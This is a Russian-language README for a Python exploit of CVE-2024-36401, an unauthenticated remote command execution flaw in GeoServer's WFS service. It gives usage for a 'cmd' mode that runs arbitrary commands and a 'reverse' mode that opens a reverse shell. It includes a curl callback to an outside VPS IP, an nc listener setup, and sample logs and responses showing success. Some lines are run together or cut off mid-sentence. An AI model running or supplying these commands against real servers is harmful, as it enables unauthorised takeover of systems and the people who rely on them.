
Python-эксплойт для "GeoServer"
CVE-2024-36401 — это уязвимость удаленного выполнения команд в GeoServer. Злоумышленник может выполнить произвольные команды без авторизации, отправив специально сформированный запрос WFS (Web Feature Service).
pip install requestsИнструмент поддерживает два режима: cmd (непосредственное выполнение команд) и reverse (установка обратной оболочки).
Предположим, адрес VPS — 111.46.112.85.
Используйте режим cmd для выполнения команды curl, чтобы проверить, может ли целевой сервер получить доступ к внешней сети:
python exp.py cmd "8.147.134.121:32831" "curl http://111.46.112.85:8090/hello"
Метод проверки: Запустите HTTP-сервер на VPS для приема запросов
# Выполнить на VPS
python -m http.server 8090
При успешном получении ответа вы увидите примерно следующее:
Serving HTTP on 0.0.0.0 port 8090 (http://0.0.0.0:8090/) ...
39.106.20.178 - - [04/Oct/2025 17:22:30] code 404, message File not found
39.106.20.178 - - [04/Oct/2025 17:22:30] "GET /hello HTTP/1.1" 404 -
Используйте режим reverse для установки обратной оболочки на указанный VPS и порт:
Шаг 1: Настройте прослушивание порта на VPS
# Выполнить на VPS
nc -lvp 6666
Шаг 2: Запустите эксплойт для инициирования обратного соединения
python exp.py reverse "8.147.134.121:32831" 111.46.112.85 6666
После выполнения инструмент покажет примерно такой вывод:
[+] Response Status: 400
[+] Response Length: 1121
<?xml version="1.0" encoding="UTF-8"?><ows:ExceptionReport xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.0.0" xsi:schemaLocation="http://www.opengis.net/ows/1.1 http://8.147.134.121:32831/geoserver/schemas/ows/1.1.0/owsAll.xsd">
<ows:Exception exceptionCode="NoApplicableCode">
<ows:ExceptionText>java.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.fea
В этот момент, если эксплуатация прошла успешно, nc-прослушиватель на VPS получит сессию обратной оболочки.
Usage:
python exp.py cmd <target> <command>
python exp.py reverse <target> <vps_ip> <vps_port>
cmd: режим выполнения одной командыreverse: режим обратной оболочки<target>: адрес и порт целевого сервера, формат ip:port<command>: команда, выполняемая на целевом сервере<vps_ip>: IP-адрес VPS-сервера<vps_port>: порт прослушивания на VPSУязвимость использует недостаток безопасности в службе WFS GeoServer. Злоумышленник внедряет Java-код в параметр valueReference для выполнения системных команд. Инструмент формирует XML-полезную нагрузку с вредоносным кодом и отправляет её на интерфейс WFS GeoServer, что приводит к удаленному выполнению команд.
/geoserver/wfs на соответствующее значение.Своевременно обновляйте GeoServer до официальной безопасной версии и настраивайте сервер в соответствии с лучшими практиками безопасности.